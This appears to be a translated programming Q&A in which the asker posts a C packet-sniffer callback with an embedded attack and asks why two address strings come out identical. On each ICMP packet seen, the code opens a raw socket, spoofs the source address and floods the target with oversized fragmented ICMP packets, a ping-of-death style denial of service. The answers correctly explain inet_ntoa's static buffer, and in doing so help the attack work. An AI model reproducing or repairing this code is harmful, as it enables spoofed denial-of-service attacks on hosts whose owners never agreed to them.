void
got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
static int count = 1; /* packet counter */
/* declare pointers to packet headers */
const struct sniff_ethernet *ethernet; /* The ethernet header [1] */
const struct sniff_ip *ip; /* The IP header */
const struct sniff_tcp *tcp; /* The TCP header */
const char *payload; /* Packet payload */
int size_ip;
int size_tcp;
int size_payload;
printf("\nPacket number %d:\n", count);
count++;
/* define ethernet header */
ethernet = (struct sniff_ethernet*)(packet);
/* define/compute ip header offset */
ip = (struct sniff_ip*)(packet + SIZE_ETHERNET);
size_ip = IP_HL(ip)*4;
if (size_ip < 20) {
printf(" * Invalid IP header length: %u bytes\n", size_ip);
return;
}
/* print source and destination IP addresses */
printf(" From: %s\n", inet_ntoa(ip->ip_src));//<-------------------------
printf(" To: %s\n", inet_ntoa(ip->ip_dst));//<------------------------
/* determine protocol */
switch(ip->ip_p) {
case IPPROTO_TCP:
printf(" Protocol: TCP\n");
break;
case IPPROTO_UDP:
printf(" Protocol: UDP\n");
return;
case IPPROTO_ICMP:
printf(" Protocol: ICMP\n");
/*********************************************************************************************/
char *sinfo[1];
sinfo[0] = inet_ntoa(ip->ip_src);//<----------------------------
char *dinfo[1];
dinfo[0] = inet_ntoa(ip->ip_dst);//<----------------------------
int s, i;
char buf[400];
struct ip *ip = (struct ip *)buf;
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
struct hostent *hp, *hp2;
struct sockaddr_in dst;
int offset;
int on;
//int num = 5;
printf("%s- saddress is the spoofed source address\n", sinfo[0]);
printf("%s- dstaddress is the target\n", dinfo[0]);
printf("- number is the number of packets to send, 2 is the default\n");
/* Loop based on the packet number */
for(i=1;i<=2;i++)
{
on = 1;
bzero(buf, sizeof(buf));
/* Create RAW socket */
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket() error");
/* If something wrong, just exit */
exit(1);
}
/* socket options, tell the kernel we provide the IP structure */
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
{
perror("setsockopt() for IP_HDRINCL error");
exit(1);
}
if((hp = gethostbyname(dinfo[0])) == NULL)
{
if((ip->ip_dst.s_addr = inet_addr(dinfo[0])) == -1)
{
fprintf(stderr, "%s: Can't resolve, unknown host.\n", dinfo[0]);
exit(1);
}
}
else
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
/* The following source address just redundant for target to collect */
if((hp2 = gethostbyname(sinfo[0])) == NULL)
{
if((ip->ip_src.s_addr = inet_addr(sinfo[0])) == -1)
{
fprintf(stderr, "%s: Can't resolve, unknown host\n", sinfo[0]);
exit(1);
}
}
else
bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
printf("Sending to %s from spoofed %s\n", inet_ntoa(ip->ip_dst), sinfo[0]);
/* Ip structure, check the ip.h */
ip->ip_v = 4;
ip->ip_hl = sizeof*ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof(buf));
ip->ip_id = htons(4321);
ip->ip_off = htons(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* Let kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->type = ICMP_ECHO;
icmp->code = 0;
/* Header checksum */
icmp->checksum = htons(~(ICMP_ECHO << 8));
for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip)))
{
ip->ip_off = htons(offset >> 3);
if(offset < 65120)
ip->ip_off |= htons(0x2000);
else
ip->ip_len = htons(418); /* make total 65538 */
/* sending time */
if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
fprintf(stderr, "offset %d: ", offset);
perror("sendto() error");
}
else
printf("sendto() is OK.\n");
/* IF offset = 0, define our ICMP structure */
if(offset == 0)
{
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
/* close socket */
close(s);
sleep(300);
}
// return 0;
//}
/******************************************************************************************/
return;
case IPPROTO_IP:
printf(" Protocol: IP\n");
return;
default:
printf(" Protocol: unknown\n");
return;
}
/*
* OK, this packet is TCP.
*/
/* define/compute tcp header offset */
tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);
size_tcp = TH_OFF(tcp)*4;
if (size_tcp < 20) {
printf(" * Invalid TCP header length: %u bytes\n", size_tcp);
return;
}
printf(" Src port: %d\n", ntohs(tcp->th_sport));
printf(" Dst port: %d\n", ntohs(tcp->th_dport));
/* define/compute tcp payload (segment) offset */
payload = (u_char *)(packet + SIZE_ETHERNET + size_ip + size_tcp);
/* compute tcp payload (segment) size */
size_payload = ntohs(ip->ip_len) - (size_ip + size_tcp);
/*
* Print payload data; it might be binary, so don't just
* treat it as a string.
*/
if (size_payload > 0) {
printf(" Payload (%d bytes):\n", size_payload);
print_payload(payload, size_payload);
}
return;
}
在上面的代码中,我试图保存2个ip地址。一个是源IP地址,另一个是目标IP地址。我创建了2个字符串并将源地址存储在字符串变量sinfo中,目标地址存储在标记为dinfo的变量中。但是,sinfo和dinfo输出相同的地址。这是输出:
数据包编号1:
来自:192.168.29.138
收件人:192.168.0.130
协议:ICMP
192.168.0.130- saddress是欺骗性的源地址
192.168.0.130- dstaddress是目标
从欺骗192.168.0.130发送到192.168.0.130
它正确打印出From:和To:但不适用于sinfo和dinfo。我不知道问题是什么。
答案 0 :(得分:5)
inet_ntoa()
返回一个指向静态缓冲区的指针,因此第二个调用将覆盖第一次调用的结果:
char *sinfo[1];
sinfo[0] = inet_ntoa(ip->ip_src);
char *dinfo[1];
dinfo[0] = inet_ntoa(ip->ip_dst);
dinfo[0]
和sinfo[0]
现在都指向相同的(静态)缓冲区 - 缓冲区仅包含第二次调用的结果。你需要将inet_ntoa()的结果复制到你自己的缓冲区中(我也不确定你为什么要使用大小为1的指针数组,一个简单的指针就足够了):
char *sinfo = strdup(inet_ntoa(ip->ip_src));
char *dinfo = strdup(inet_ntoa(ip->ip_dst));
...
free(sinfo);
free(dinfo);
正如@cnicutar所提议的那样,您也可以使用不使用静态缓冲区的inet_ntop,但允许您直接传递目标缓冲区:
char str[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &addr, str, INET_ADDRSTRLEN);
此外,inet_ntoa()
无法处理 IPv6 ,而inet_ntop()
则处理
答案 1 :(得分:4)
您不应存储inet_ntoa
返回的值,因为它会被后续调用重写:
申请使用
inet_ntoa()的返回值可能指向可能被覆盖的静态数据 随后调用inet_ntoa()。
相反,您应该使用strdup
:
sinfo[0] = strdup(inet_ntoa(ip->ip_src));
请记住free(sinfo[0])
。同样适用于dinfo[0]
。
所有这一切,在许多级别上迁移到推荐的 inet_ntop
更好,并且还将解决您的具体问题。